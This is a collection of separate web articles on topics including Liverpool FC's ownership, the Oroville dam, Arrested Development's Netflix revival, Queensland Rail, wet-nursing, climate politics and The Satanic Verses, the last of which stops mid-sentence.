-On Oct. 15, 2010, Fenway Sports Group completed their purchase of Liverpool Football Club. Since, the Anfield outfit has sacked a pair of managers, spent a significant sum of money and nearly secured their first English top-flight trophy since 1990. Here are some key stats that illustrate FSG's ownership of Liverpool on their five-year anniversary.  The right signings?  Since FSG's takeover, Liverpool have been an active club in the transfer market. However, while the club has been aggressive in recruiting young talent with resale value, their success rate in recruitment has been suspect to say the least.  Sibling spending sprees  There can be little argument with the level of investment FSG have made in Liverpool personnel, parting with more than £300 million in five years. But when compared to the sums splashed out by FSG siblings the Boston Red Sox, ownership's outlay on Merseyside looks significantly less lavish.  Financially flourishing  Unfortunately for FSG, their takeover of the club coincided with a significant drop in performance from Liverpool's historically lofty heights. Despite that, the owners have managed to increase revenues and dramatically pay down the club's debt.  Dressed to impress  FSG has brokered two club-record kit deals. The first with Michigan-based Warrior coming in 2012, and the second announced in February with Warrior's parent club, Boston's New Balance.  This is Anfield  Liverpool have long flirted with the idea of leaving historic Anfield in search of a new home with more seats and greater ticket revenue. Under FSG, though, the club's historic home has grown by 8,500 seats.
-How do you know with certainty that Davos has not only jumped the shark, but has become a parody of itself? One answer: when you have a handful of semi, and not so semi, billionaires - perplexed by the populist backlash of the past year - sit down and discuss among each other how a "Squeezed and Angry" middle-class should be fixed.  As Davos puts it, "once the lynchpin of developed economies, it’s now threatened by job losses and stagnant wages, paving the way for the rise of populism. In emerging markets, middle class growth rates are stalling. Have middle class problems been forgotten?" It asks rhetorically "What can be done?"  Apparently the answer is to have three people completely disconnected from the real world, sit down and provide "answers.":  In this session, starting at 0800 GMT, IMF Managing Director Christine Lagarde, Italian Finance Minister Pier Carlo Padoan and Founder, Chairman and Co-CIO of Bridgewater Associates, Ray Dalio, discuss what's needed to restore growth in the middle class and confidence in the future.  And then they wonder why the annual Davos echo chamber boondoggle has become not only a global farce, but a symbol of everything that is wrong with globalization today...  Watch it live below
-Oroville dam, the tallest in the nation, is currently in danger of structural failure.  Thousands living downstream from its desperate cascading water releases are evacuating their homes in Hollywood disaster-film fashion. Something premodern and apocalyptic like this was not supposed to have happened in a postmodern California of Google, Hollywood, and Napa Valley wineries.  ADVERTISEMENT  California’s politicians and pundits in recent years of drought swore the state was entering a cycle of permanent drought (and thus saw no need to start construction on a single dam to store the rain and snow that supposedly would not return). Instead, they warned of the “settled science” of climate change and the need for permanent conservation and restrictions—even as near record storms this year have pushed California’s snow and rain levels in many places to over 200 percent of normal, well beyond the ability of our now ossified water projects to store the deluge that heads out to sea.  Oroville, along with its twin Shasta dam, anchors California's vast water transfer system, the largest and most ingeniously designed in the world. But Oroville’s half-century-old and now damaged spillways were in dire need of maintenance, especially given that auxiliary dams in the region envisioned to alleviate the pressure on Oroville were long ago cancelled. Indeed, the entire California Water Project and federal Central Valley Project were never finished, even as California’s population more than doubled.  After the early 1980s, the state’s politicians and courts decided that dams, as one critic put it, were “a relic of the Industrial Age, a brute-force solution to water scarcity.” They forget that they had been a staple of civilization since the Mycenaean Greeks built them to ward off flood and drought.  Californians also forgot that our forefathers saw in the state’s northern and mountain dams and their subsidiary aqueducts and canals a brilliant solution to the California paradox of two thirds of the population wishing to work and live where one third of the state’s annual rain and snow fell.  After all, so far Stanford University has not been willing to relocate to Crescent City. Facebook has no desire to move to Marysville; and the hipsters of San Francisco do not prefer the weather in Redding. Malibu stars are not likely to transfer their beach residents to the coast at Humboldt. The key to California’s water solutions was that it was among both the wettest and driest of states, and thus was the sole arbiter of its water destiny, without endless poly-state rivalries and feuds that plague the transference and distribution of the waters of the Colorado River.  Dam supporters today are written off by cool greens as hopelessly anachronistic and deprecated as “water buffalos.” Yet a wiser California public has consistently voted for more dam construction, only to be stymied by Byzantine and politicized bureaucracies and a flood of lawsuits.  Working people appreciate in dams and reservoirs a brilliant symbiosis that today’s elites miss entirely. California’s system of dams, if they had been finished and well maintained, all but ended the annual winter and spring nightmares of flooding, which one took thousands of lives in northern and mountainous California and made flood basins unlivable—until a prescient generation in the late 19th and 20th century began building what would become a vast network of some 1300 reservoirs.  No wonder hoi polloi favored dam construction. Those without money to vacation at California’s touristy coast escaped the heat of the Central Valley by driving up to fish, swim in, and camp out by the clean mountain water of hundreds of often alpine and picturesque man-made lakes.  California’s dams also turned millions of desert acres of the Central Valley into a verdant belt of the most productive farmland in the world. Hydroelectric projects—that likewise were largely ended when new dam construction was cancelled—once made California’s energy the cleanest and among the most affordable in the country.  But the best barometer of the dams’ importance was the fact that for all the threats of tearing them down, even the greenest of California politicians quietly accepted that without a Oroville, Shasta, or Hetch Hetchy there would be no Silicon Valley, Hollywood, Stanford, or Cal Tech—all situated in an ideal Mediterranean climate and landscape to which millions of people flocked only after water was imported to support them. In crude reductionist terms, the teeming San Fernando Valley and Santa Barbara wants the water that rural Oroville wants to get rid of.  But if our generation could not quite tear dams down, environmentalists managed to stop the spread of them, ensuring that the third phase of the state’s water projects was never built, robbing California of millions of acre feet of water storage which in a wet year like 2017 would have provided stored water to tide over the next drought. After, all a state of 15 million people built the water projects, and a contemporary California of 40 million paradoxically swore it would build no more. even as it was silently grateful for the inherence of its far sighted forefathers.  On occasion, environmentalists have rightly urged more maintenance on the dams spillways, but largely to ensure that reservoir waters could be safely and efficiently drawn down and emptied when lawsuits forced water releases for fish restoration, bay area fresh-water infusions, and wild river runs to the ocean.  These were new agendas never envisioned by the original architects of the system, who saw human needs solved by flood relief, irrigation, recreation, and power generation first, and salmon swimming from the sea to the Sierra second. The dams were a tough tradeoff between progress and nature: an arid state that would grow to 40 million would have artificial but beautiful reservoirs—but not white water rapids of a once pristine and scarcely populated 19th-century paradise.  How does our generation stack up to the that of the dam builders and “water buffalos”? Contemporary California has among the country’s highest basket of fuel, income and sales taxes and yet is facing another billion-dollar-plus annual budget deficit. Its schools and roads are rated near last in the nation. Its coveted high-speed rail project has not laid a foot of track as costs balloon to an envisioned $100 billion. Never have so many incompetents of the present been so critical of so few geniuses of the past.  It is symptomatic of the present generation’s hubris and historical ignorance that it ridicules the logic of a prior generation’s infrastructure that it gladly inherited and uses but will not well maintain and expand—even as its own legacy is one of an increasing pyramidal state that is home to the greatest number of the nation’s poor and rich—and increasingly few in between. Californians have become squatters of sorts on an infrastructure that others built.  Pie-in-the-sky calls for a network of coastal desalination plants miss the ancient logic of dams and reservoirs. Desalination demands energy to make modest amounts of water; gravity powered mountain runoff behind dams creates vast amounts of stored water that produces rather than consumes electrical power. A desalinization plant is ugly; a Huntington Lake is stunning. Lakes and canals are cool; sea-water conversion plants generate heat. Pumping water into the ground makes sense; but it works best when most runoff is first banked and stored for later release rather than simply let out to flood to the ocean.  The cracks on the face of Oroville Dam remind us that we have abused and caricatured what we inherited. In penance we might do better to listen to the wisdom of the past rather than to parrot the ignorance of the present.  Victor Davis Hanson is the Martin and Illie Anderson Senior Fellow in Residence in Classics and Military History at the Hoover Institution, Stanford University. Follow him on Twitter @VDHanson.  The views expressed by contributors are their own and are not the views of The Hill.
-Share. Get ready. It's almost time. Get ready. It's almost time.  The TCA (Television Critics Association) press tour can feel like a pretty stuffy event sometimes, but you could feel the excitement in the air as the time approached for the Arrested Development panel today. The beloved comedy is making an amazing comeback, via new episodes – 14 to be precise, a number confirmed by Netflix today as they officially announced the show would debut in May (exact date TBA), with all the episodes being released at once.  There were a few quick glimpses of Arrested in a clip montage of upcoming Netflix series earlier in the day, including Michael and Gob running into one another and Gob up on a crucifix. The panel itself began without any clips though, as creator Mitch Hurwitz revealed, “One of the challenges of the show was to be surprising and that was easier to do when no one was watching.” With Arrested having gained more fans in the years since it went off the air, “We’ve started really guarding the material, just to make it fun for the audience.”  Hurwitz described the new episodes as “a very different form that emerged really organically. The family grew apart and everybody kind of grew up and [the actors] went on other shows and had other contracts.” That being the case, they approached these new episodes as “An anthology or a series where you kind of dedicate a different episode to different characters’ point of view. It was really fun challenge. We started seeing that the stories would intersect.”  Hurwitz noted that an event might happen in one episode and then, “You’ll see it from a different perspective and get all his other information. “ The closest thing we got to a story spoiler was de Rossi saying in her episode there’s a scene where Lucille is telling her something and Lindsey thinks she is being totally sarcastic, but Lucille’s episode will show you that’s not the case at all. It should be noted that Hurwitz, in the manner of Matthew Weiner, J.J. Abrams and other great secret keepers, felt de Rossi was saying too much even there!  Because the episodes all overlap and link up like this, Jason Bateman described it as, “One giant Arrested Development,” saying they treated it like act one of a larger story, “We hope to conclude in a movie, which would be act two and act three.”  Bateman said he wouldn’t even describe the new episodes -- which will slightly vary in length somewhere within thirty minutes each -- as “Season 4”, though he added, “There certainly is a satisfying conclusion if the movie doesn’t happen, but they are all meant to work together.”  Bateman said that he really felt the new episodes should not be compared to what came before, describing it as, “Something that is completely different on purpose,” and meant to work with the format of Netflix and the way all the episodes will be released at the same time.  Originally, it was reported that there would be 10 new episodes, and then rumors there could be more. Said Hurwitz, “We always knew there were going to be 14. We decided, ‘Let’s say there’s 10 and then the fans will be so happy when we say there’s more.’”  While the Netflix release means people could watch them in any order, Hurwitz noted, “There is an order that we have put together to create the maximum amount of surprises.” As for those worried about spoilers getting out, Hurwitz remarked, “There are going to be surprises that are going to be ruined by spoilers but that was going to happen anyway. So it’s happening in one day for hardcore fans, but the stuff exists. It’s just out there.”  Bateman described Arrested Development as “pleasantly dense,” with all of its callbacks and jokes that build upon each other. Remarking why it failed initially, he said, “I just don’t think that’s necessarily conducive to something that has commercials in it.”  I asked Hurwitz if, given the format this time out, and the cast availability, they had to have the 14 scripts totally set before production. Said Hurwitz, “We got very locked in on the story. It was so incredibly, incredibly complicated.” Arrested was in “second position” for almost the entire cast contractually, meaning the other films and series they were on were their first priority. Hurwitz said that meant, “We have this actor, we don’t have this actor. It’s a complicated story that jumps around in time, with all these intersections, and we’re shooting way out of order.” Initially, they started writing the shows in order, but that would change depending on actor availability, with Hurwitz giving the example of, “We have Tony Hale today, we have Jessica Walter, we have to shot that stuff for Jessica’s episode!”  Jeffrey Tambor said that on his second week back on the show, there was a scene with the entire cast, “All nine of us in the living room.,” and that while "We're not a sentimental group,” it was pretty emotional. Said Walter, “It was surreal. There we were nine years later…”  As the panel ended, Hurwitz revealed he did have a clip from us. And because he wanted to keep secrets, it was a deleted scene – though he added that if we laughed, maybe he’d put it back in.  And perhaps he will put it back in, as everyone cracked up at the clip, which was a long, single take in which Lucille, under house arrest and unable to go out on her balcony – and forbidden from smoking – used her son Buster to get away with her vice. And in typical Arrested Development manner, it was oh-so wrong, fairly incestuous and hysterical, as Buster tried to tell her a story while she smoked – and each time she exhaled, he’d put his mouth right in front of hers, for her to exhale into his mouth, run out onto the balcony and blow the smoke out. Buster keeps trying to tell his story while this occurs, while coughing, wheezing, and adding things like, “I can’t breathe!” When Lucille finishes one cigarette only to light up a new one, he begs, “Please mother, please,” but she doesn’t care (and never speaks a word in the scene), continuing to exhale into his mouth… until he finally collapses on the ground.  More Bluth awesomeness awaits in May!
-Now entering his 15th season with the Packers, Mike Halbach begins his fourth season as the team’s director of football technology after serving as manager of football technology in 2014. He first joined the Packers as a video intern in 2004 before working as a video assistant from 2005-14.  In his current role, Halbach oversees the team’s efforts in football analytics and the development and administration of football information systems, and guides technical decisions that impact football operations. He was instrumental in the Packers’ transition from paper to digital playbooks and from standard- to high-definition video.  Halbach graduated summa cum laude from the University of Wisconsin-Green Bay in 2005 with a B.S. degree in communication processes with an emphasis in electronic media. He also earned a B.A. degree in communication and the arts with a minor in corporate communication.
-Howdy Rift Runners,  What does this mean?  Why are you going Gold now?  Why aren’t you doing massive release marketing through normal channels?  Are my rankings going to be reset once Gold happens?  What about the future?  Tournaments  Sideboards  Best of 3 matches  Server Hosting for matches  We would like to announce to you loyal fans that the ‘Gold’ release date for Infinity Wars will be September the 3rd, 2014. You're going to want to read on, this is gonna get good.Well it actually means a lot of things. What's in this little section here hardly scratches the surface.However, in terms of this section, it means that the ‘beta’ tag will be removed from the game. That is all this means. We will not stop developing the game or bringing new features in, we want to reassure every one of that. We will continue to work hard to improve and grow Infinity Wars from this point. We have some really great things coming in the future that we want you to get excited for.We believe that the game is strong enough to stand on its own without hiding behind the crutch of the Beta tag while we continue to develop content and features for Infinity Wars.We're a small indie studio, with an extreme amount of passion. Unfortunately passion doesn't fix everything. Our size (or lack thereof) will always play a part in the decisions we make and the timeframe it takes for things to happen.So, as a company, we have decided that now is the right time to remove that tag. With the game in (mostly) proper working order, the game is ready to bring your friends to as we continue to work on everything that's necessary while continuing to improve the game every single day.One of the things we’ve learned from the various advertising strategies (and we have tried many of them), is our game really is tailored for the mid to hardcore audience. We work hard to increase the spectrum of gamers this title could appeal to, but from the metrics shown from mainstream gaming coverage, the best thing we can do now is target gamers like yourselves.As such we have targeted advertising and marketing being rolled out, but this game will grow best from us bringing our TCG mates into a working game, hosting tournaments, and continuing to balance cards and bring new exiting content and mechanics into the game.Short answer? No. Long answer? In the beginning, we had said that when the game went Gold, we would reset rankings. We have decided not to do that at this current time. The reasoning behind this is… *points to the next section* (No really, look down.)Our next major milestone of version 1.5 focuses on the following, and we're starting work on this project once we confirm all the major bugs are squashed:We have a hopeful timeframe for these of within 6 months of going Gold, but we cannot make any promises on that just yet. Our priority will still be on ensuring a smooth major bug free experience ongoing. We simply wanted to give you a roadmap that these are the things we're starting work on as we speak.We have decided to not reset any rankings until these modes are implemented into Infinity Wars as it wouldn't be right to reset anything prior to the formats/concepts themselves changing.Get excited, there is some seriously great stuff coming!The future also holds more sets, more cards & more Puffing Puffy than you can Puff a Puffy with!The future for Infinity Wars looks bright, and we have you guys, the amazing players and community to thank for it. You help us, on a daily basis, shape Infinity Wars into the amazing game that it’s becoming.Thank you all for being a part of Infinity Wars. See you on the battlefield!~ Elphie "Agent" Coyle, Ian "Tygris" Underwood, “Teremus”, “Schumisaurus” & on behalf of the rest of the Lightmare Team.
-Stirling Hinchliffe has defended calls from the opposition to resign, saying he is focused on fixing the issues. Credit:Bradley Kanaris "As is the case with any great major project, when you see the delivery of the final product there are some teething and small issues that need to be resolved." Mr Hinchliffe said as the trains were being tested, there was a concern that drivers could not see "stopping points". "At platforms there are markers on platforms to demonstrate to drivers where is the optimal place for this train to come up to a complete stop in order for the passengers to alight and to de-train," he said. Mr Hinchliffe said visibility had to be available for the "full range of drivers", pointing out that some were his height or taller.  Train drivers can't see "stopping points" properly in new generation rolling stock, the transport minister said. "There's a range there and that all had to be assessed and looked at," he said. The former LNP government ordered 75 new trains under a private public partnership. Mr Hinchliffe said five of the trains were in Australia at the moment, and they were undergoing testing and commissioning. He said the trains were also being modified to provide space for guards.  It comes as the government and Queensland Rail face heavy scrutiny after 100 train services were cancelled earlier in October due to a shortage of drivers following the opening of the Redcliffe Peninsula Line. Mr Hinchliffe has defended calls from the opposition to resign, saying he is focused on fixing the issues. "We are delivering more services now than we were in September," he said. "The lack of performance against the October 4 timetable has made us all furious, made us really upset because the high performance we were expecting and wanted to see hasn't been delivering." Meanwhile, Queensland Rail is operating with a level of 30 per cent overtime as it struggles to provide the extra services required following the opening of the Redcliffe Peninsula Line.  Mr Hinchliffe told 612 ABC Brisbane earlier on Monday: "We are running overtime levels of around 30 per cent". "There is a cost to this. "It's a consequence of there not being the levels of train crew." Overtime bills soar following opening of new Redcliffe line Figures provided by Queensland Rail show the overtime bill for train drivers increased by 24 per cent after the opening of the Redcliffe Peninsula Line.  For the two week rostering period before October 4, $466,701.82 in overtime was paid to 348 drivers. During the two week period from October 4, the overtime bill was $578,752.41, paid to 379 drivers. A Queensland Rail spokeswoman said train drivers were given the choice to increase their salary by doing overtime at times of their choosing. "We are grateful to the traincrew staff for pulling out all the stops and doing extra duties, since we brought in the new timetable on 4 October," the spokeswoman said. The spokeswoman said strict fatigue standards were in place to ensure rosters, and any offered overtime, complied with the rules.  Opposition Leader Tim Nicholls said there was "no evidence" of what Mr Hinchliffe was saying in relation to the visibility issues, describing it as a "red herring". "And even if it were the case, that the drivers are unable to fully see or find out the stopping marks on the station, those are the teething problems, what is the minister doing since his announcement back in February?" Mr Nicholls said. Mr Nicholls said the new trains, ordered under the LNP government, were designed so that guards could roam the carriages. "Guards are absolutely necessary on those trains," he said. "In government, what we were concerned to ensure was that guards weren't secreted away in little cubby hole at the back of the train. That guards were actually walking through the trains, that they were providing, safety, security and assistance to passengers."
-Several years ago, Jessica Wintrip, a 43-year-old teacher from Taunton, was breastfeeding her one-year-old when she noticed her friend's three-month-old baby was not putting on weight. "So I just blurted out, 'Do you want me to feed him?' It was one of those things you say and you think, I've overstepped the mark." But her friend was grateful rather than shocked and agreed that she should try. "I fed him three times a day for three months - and she kept feeding him as well. It felt a real privilege to be able to do it. I knew how much my friend wanted to breastfeed, and if I hadn't stepped in, he would have had formula."  While in the developing world suckling someone else's baby is commonplace, here we see it as weird - but why? Formula milk has only been available since the early 1900s. Before then wet-nursing would have happened as a matter of course if the mother was ill or absent. In three generations it has become socially unacceptable. None the less, I know women in the UK who have fed each other's babies, although they acknowledge that they would not necessarily admit to it openly. I have also heard of several circles of parents where it is accepted that if you babysit for someone else's newborn, it is OK to breastfeed them (with the parents' consent). This informal wet-nursing is called "shared feeding" or "cross-nursing". And while this has always gone on on quietly in Britain, hiring someone else to breastfeed your child is becoming increasingly popular in Hollywood.  Cross-nursing also happens in extreme circumstances. Sarah (not her real name) was contacted by a local breastfeeding support group when a woman with a three-month-old baby was injured in a car crash. She was unconscious and unable to feed. The baby's father knew that the mother would ideally want to avoid feeding the baby formula so he contacted the organisation to ask for donations of breastmilk. "The first woman who turned up at the hospital to express milk said, 'This is a bit ridiculous. I might as well just feed the baby.' The father agreed."  In the end a group of five women wet-nursed the baby for a week until the mother recovered. This example is telling in that it shows that wet-nursing can be a pragmatic solution: it would have been very difficult for the family to feed this baby any other way (the father was also injured and hospitalised and in any case the baby had never taken a bottle or had any formula). It felt very intimate to feed another woman's child, says Sarah: "It was weird at first. But it was just a baby who needed milk and needed cuddling."  Wet-nursing is now making a comeback in China, after being banned for political reasons for decades. Rich Shanghai families are recruiting rural women as live-in nannies to feed their babies. Given that most well-heeled Chinese women do not work, these nannies-with-extras are more of a status symbol than a necessary accessory to a busy life. Banned under Mao as "decadent" in the post-war period, wet-nursing is a long-standing Chinese tradition: Pu Yi, the Last Emperor, was suckled into his teens. Now, China's nouveau riche are bringing it back, recruiting pregnant women, who leave their own child-ren at home with their grandparents (these babies then have to be wet-nursed themselves by another local woman). Their sacrifice is rewarded with a salary of up to five times the national average.  Perhaps even more intriguing than the actual trend itself is the way it has been reported in the west - with fascination disguised as disgust. One (male) reporter on a British broadsheet claimed with some excitement that these Chinese wet nurses are selected for their "superlative breasts". This, as any breastfeeding mother knows, is total nonsense - breasts of virtually any condition or size can produce milk. Babies do not give extra marks for beauty. The only breasts that have trouble producing milk (although it is not impossible) are fake ones. And, surprise, surprise, earlier this year a Los Angeles-based agency supplying wet nurses popped up. Certified Household Staffing claims it has on its books several Hollywood celebrities with breast implants who have requested lactating nannies. On its website, "wet nurse" is right next to valet, chauffeur and chef. Company director Robert Feinstock assured me over the phone that, yes, there was a demand, but declined to give any more details.  If feeding another woman's baby seems like the last taboo, it is one that exerts a fascination. (You can imagine what happens if you type the words "wet nurse" into Google: X-rated mammary heaven). In the film The Hand That Rocks the Cradle the moment we "know" that nanny Peyton (Rebecca de Mornay) is genuinely psychopathic is when she pulls her employer's crying baby out of the cot and puts it to her breast.  Perhaps the intimacy of shared feeding enhances the taboo. Rhonda Shaw, a sociologist at the Victoria University of Wellington, New Zealand, is author of a study entitled The Virtues of Cross-Nursing - and the Yuk Factor and is researching contemporary cross-nursing practices. We perceive feeding another woman's child to be somehow indecent, she says: "Adult meanings of eroticism get confused with breastfeeding as a sensual activity." She recently interviewed two single working mothers who have agreed to share childcare and cross-nurse each other's babies to fit around their work schedules. "It's always been practised. It just isn't reported," she says.  Extraordinarily, there have even been cases where there is an underlying suggestion that wet-nursing is borderline child abuse, says Shaw: "One state in the USA requires people to get a license before they provide someone else, other than their child, with breast milk. There was a case in Oklahoma in 2003 where a woman breastfed someone else's infant without consent, and faced a $500 [£257] fine and up to a year in jail on a 'morals' charge."  Gabrielle Palmer, lecturer in human nutrition at the London School of Hygiene and Tropical Medicine and author of The Politics of Breastfeeding, finds current attitudes perplexing. Once wet-nursing was so commonplace that Jane Austen mentions it in Emma: "For years it was a really good job for a woman. In 17th- and 18th-century Britain a woman would earn more money as a wet nurse than her husband could as a labourer. And if you were a royal wet nurse you would be honoured for life."  She has personal experience of the practice (her children were born in the 1970s): "I wouldn't mind another mother feeding my baby - if it was my sister or my best friend that would be fine. In the 1970s, you would get breastfeeding circles within the babysitting circle - you'd ask for somebody lactating. There is an idea that 'this is a special relationship' - it is that special bond - but I'd rather a baby had another woman's milk than formula."  Given the current climate, Palmer advises against anyone telling the authorities they are cross-nursing: "I know adoptive women who have breastfed their [adopted] children and the health authorities have been appalled. Far too many health professionals are hung up about breastfeeding."  The practice is officially frowned on in the UK because HIV can be transferred through breast milk, although, as Shaw puts it, "If a woman knew she was HIV positive I think she would be unlikely to cross nurse someone else's infant." (This is a major problem in countries where wet-nursing is culturally acceptable but talking about and testing for HIV is not; in many parts of Africa, for example.)  There is no medical reason why women should not lactate indefinitely or feed more than one child simultaneously (known as "tandem feeding" when a mother feeds two siblings of different ages: Palmer estimates that some women would thoeretically be able to feed up to five babies). And there are many historical examples of wet-nursing, says Shaw: Naomi, from the Old Testament, relactated to feed her grandchild so Ruth, the infant's mother, could go to war after her husband was killed. Both Moses and Mohammed were wet-nursed after they were rescued from the bulrushes. Dr Naomi Baumslag, author of Milk, Money and Madness, wrote a celebration of the legendary wet nurse Judith Waterford: "In 1831, on her 81st birthday, she could still produce breast milk. In her prime she unfailingly produced two quarts [four pints] of breast milk a day."  All our objections to wet-nursing, says Shaw, are cultural: "The exchange of body fluids between different women and children, and the exposure of intimate bodily parts make some people uncomfortable. The hidden subtext of these debates has to do with perceptions of moral decency. Cultures with breast fetishes tend to conflate the sexual and erotic breast with the functional and lactating breast."  I wonder if our attitudes towards the "freakishness" of wet-nursing betray what we really think about breastfeeding itself. We still don't completely accept it as what it is - natural, normal, instinctive. And no superlative breasts required.
-Looking for news you can trust?  Subscribe to our free newsletters.  This story was originally published by Grist and is reproduced here as part of the Climate Desk collaboration.  The pressure is on: Activists are pushing hard to make climate change a major topic in the Democratic presidential debates. The first of six planned debates will be hosted by CNN on October 13.  Tom Steyer, the billionaire founder of NextGen Climate, sent a memo on Tuesday to CNN debate moderator Anderson Cooper arguing that he should devote significant time to the candidates’ climate plans. “To be a leader of the Democratic Party—and the country—you have to lead on climate change,” wrote Steyer. “During the first Democratic presidential primary debate, I urge you to push the candidates to articulate, defend, and refine their plans.” Steyer has previously called for the Democratic National Committee to add an entire debate devoted solely to climate change, a proposal that drew praise from 350.org founder Bill McKibben.  In the first Republican debate, climate change wasn’t discussed at all, and in the second it got just a few minutes out of three hours. Marco Rubio, echoed by Chris Christie, used the opportunity to argue against taking action to limit emissions using false talking points about the science, economics, and international politics of the issue. This is in keeping with the entire GOP field’s tilt toward climate science denial and aversion to doing anything to combat or even prepare for climate change.  The Democratic debates present an opportunity to address the issue more seriously. The leading three Democratic candidates have all staked out relatively strong positions on climate change, although Hillary Clinton and Bernie Sanders have yet to flesh out many crucial details. Clinton, also, has yet to convince many climate hawks that she will make a meaningful break from President Obama’s policy of increasing domestic fossil fuel production. Martin O’Malley, the former governor of Maryland, has released the most comprehensive and ambitious climate change policy agenda thus far. He is also calling for the DNC to add more debates.  Greg Sargent of the Washington Post concurs with Steyer that Democrats should talk in detail about climate change policy in their primary campaign even though hardly any voters list it as their No. 1 issue when asked by pollsters. Discussing climate change, Sargent argues, will have other benefits for the Democrats. He writes:  The more Democrats talk about this stuff, the more there is at least a chance that this contrast [with Republicans] will impress itself in some kind of meaningful way on voters. When candidates and/or elected officials talk about issues, it can make a difference, generating more media coverage that can help set the political agenda over time. And Dem primary voters do deserve to know more specifics about the contenders’ solutions: this would help further develop party doctrine on the issue; and promises made by candidates often are kept once in office.  Sargent also argues that “discussion of these issues in the high profile setting of a Dem debate would make for a compelling contrast with Republicans,” noting that the GOP candidates’ extreme positions on climate change might be hard to sustain in the general election. He’s certainly right about that. Most voters accept climate science and support some measures to limit carbon emissions.  But there’s a larger, deeper political dynamic in play here: The GOP’s commitment to an unpopular, outdated position on climate change isn’t some weird outlier but rather the epitome of its rejection of modernity and reason. And so by highlighting climate change, Democrats highlight Republicans’ backwardness more broadly.  By highlighting climate change, Democrats highlight Republicans’ backwardness more broadly.  As Jonathan Chait noted in New York magazine on Sunday, a new political science study looked at the platforms of political parties in nine major industrialized democracies and found that every one of the parties accepts climate science except for Republicans. But climate change is not the only issue on which the GOP stands apart from the rest of mainstream politics in advanced democracies. Republicans are also unique in their rejection of evolution and opposition to even modest gun control. None of these are issues that many voters list as their top priorities. The same goes for a number of lower-profile causes Republicans oppose and most voters support: embryonic stem cell research, funding for PBS and NPR, and so on.  Collectively, however, all of these issues contribute to the negative image of Republicans among some large, growing, and Democratic-leaning constituencies: young people, Latinos, and highly educated white voters. All of these groups were more evenly divided between the parties circa 2000 than they are today. In particular, George W. Bush’s emphasis on education reform was targeted at these voters. Bush lost these groups by smaller margins than John McCain and Mitt Romney later did. In the years since Bush first ran, the GOP has become more reactionary, more affirmatively ignorant, more contemptuous of expertise, more Foxified. Consequently GOP politicians are actually less likely to accept climate science than they were 10 years ago, even as the evidence grows only stronger.  The three current Republican presidential poll leaders, Donald Trump, Ben Carson, and Carly Fiorina, are the apotheosis of all these trends. Trump and Carson are climate science deniers. Fiorina opposes action to reduce greenhouse gas emissions and makes the same inaccurate claims—that the United States reducing emissions “can make no difference,” that shifting to clean energy is bad for the economy, and that China won’t do it even if we do—that Rubio does. She also incorrectly attributes the drought in California to environmentalists.  If Democrats and climate hawks keep pushing the GOP on climate change, it could ultimately force the party to accept climate science and embrace climate action.  And, as you’d expect, all three make similarly stupid comments on other scientific topics and on social issues. Carson rejects the science of evolution and the Big Bang theory with nonsense arguments. He also says that a Muslim should not be president. Trump—in an expression of vulgar racism previously verboten among major Republican politicians—labels Mexican immigrants “rapists.” Fiorina goes around making demonstrably false claims about Planned Parenthood and reiterates her lies when confronted with the facts.  Taken together, these embarrassments reinforce an image of the GOP that threatens to condemn them to permanent minority status. Of all these issues, climate change looms largest. It threatens everyone, but it threatens the most vulnerable—the young, the poor, the disabled, the victims of structural racism—the most. To talk about climate change is to highlight the difference between the two parties, contrasting the Democratic focus on science and education, looking forward and outward, with the Republican tendency to be parochial, ignorant, and backward. Climate change is a stand-in for issues like gay rights, immigration, religious pluralism, funding for research and education, and traditional environmental issues like clean air and water.  Bringing attention to climate change should reinforce the Democratic advantage among groups like educated professionals, young people, and Latinos, all of whom helped form the Obama coalition. And if Democrats and climate hawks keep pushing the GOP on the issue, it could ultimately force Republicans to accept climate science and embrace climate action, just as years of successful Republican attacks on Democrats coerced them into supporting harsh anti-crime and welfare-reform laws. But to make that happen, Republicans had to talk incessantly about those issues. Now is the time for Democrats to talk incessantly about climate change.
-1988 novel by Salman Rushdie  This article is about the novel. For the verses known as "Satanic Verses", see Satanic Verses  The Satanic Verses is Salman Rushdie's fourth novel, first published in 1988 and inspired in part by the life of Muhammad. As with his previous books, Rushdie used magical realism and relied on contemporary events and people to create his characters. The title refers to the satanic verses, a group of Quranic verses that refer to three pagan Meccan goddesses: Allāt, Uzza, and Manāt.[1] The part of the story that deals with the "satanic verses" was based on accounts from the historians al-Waqidi and al-Tabari.[1]  In the United Kingdom, The Satanic Verses received positive reviews, was a 1988 Booker Prize finalist (losing to Peter Carey's Oscar and Lucinda) and won the 1988 Whitbread Award for novel of the year.[2] However, major controversy ensued as Muslims accused it of blasphemy and mocking their faith. The outrage among Muslims resulted in a fatwā calling for Rushdie's death issued by Ayatollah Ruhollah Khomeini, then Supreme Leader of Iran, on 14 February 1989. The result was several failed assassination attempts on Rushdie, who was placed under police protection by the UK government, and attacks on several connected individuals such as translator Hitoshi Igarashi (leading, in Igarashi's case, to death).  The book was banned in India as hate speech directed towards a specific religious group.[3][4]  Plot [ edit ]  The Satanic Verses consists of a frame narrative, using elements of magical realism, interlaced with a series of sub-plots that are narrated as dream visions experienced by one of the protagonists. The frame narrative, like many other stories by Rushdie, involves Indian expatriates in contemporary England. The two protagonists, Gibreel Farishta and Saladin Chamcha, are both actors of Indian Muslim background. Farishta is a Bollywood superstar who specialises in playing Hindu deities. (The character is partly based on Indian film stars Amitabh Bachchan and N. T. Rama Rao.)[5] Chamcha is an emigrant who has broken with his Indian identity and works as a voiceover artist in England.  At the beginning of the novel, both are trapped in a hijacked plane flying from India to Britain.[6] The plane explodes over the English Channel, but the two are magically saved. In a miraculous transformation, Farishta takes on the personality of the archangel Gabriel and Chamcha that of a devil. Chamcha is arrested and passes through an ordeal of police abuse as a suspected illegal immigrant. Farishta's transformation can partly be read on a realistic level as the symptom of the protagonist's developing schizophrenia.  Both characters struggle to piece their lives back together. Farishta seeks and finds his lost love, the English mountaineer Allie Cone, but their relationship is overshadowed by his mental illness. Chamcha, having miraculously regained his human shape, wants to take revenge on Farishta for having forsaken him after their common fall from the hijacked plane. He does so by fostering Farishta's pathological jealousy and thus destroying his relationship with Allie. In another moment of crisis, Farishta realises what Chamcha has done, but forgives him and even saves his life.  Both return to India. Farishta throws Allie off a high rise in another outbreak of jealousy and then commits suicide. Chamcha, who has found not only forgiveness from Farishta but also reconciliation with his estranged father and his own Indian identity, decides to remain in India.  Dream sequences [ edit ]  Embedded in this story is a series of half-magic dream vision narratives, ascribed to the mind of Farishta. They are linked together by many thematic details as well as by the common motifs of divine revelation, religious faith and fanaticism, and doubt.  One of these sequences contains most of the elements that have been criticised as offensive to Muslims. It is a transformed re-narration of the life of Muhammad (called "Mahound" or "the Messenger" in the novel) in 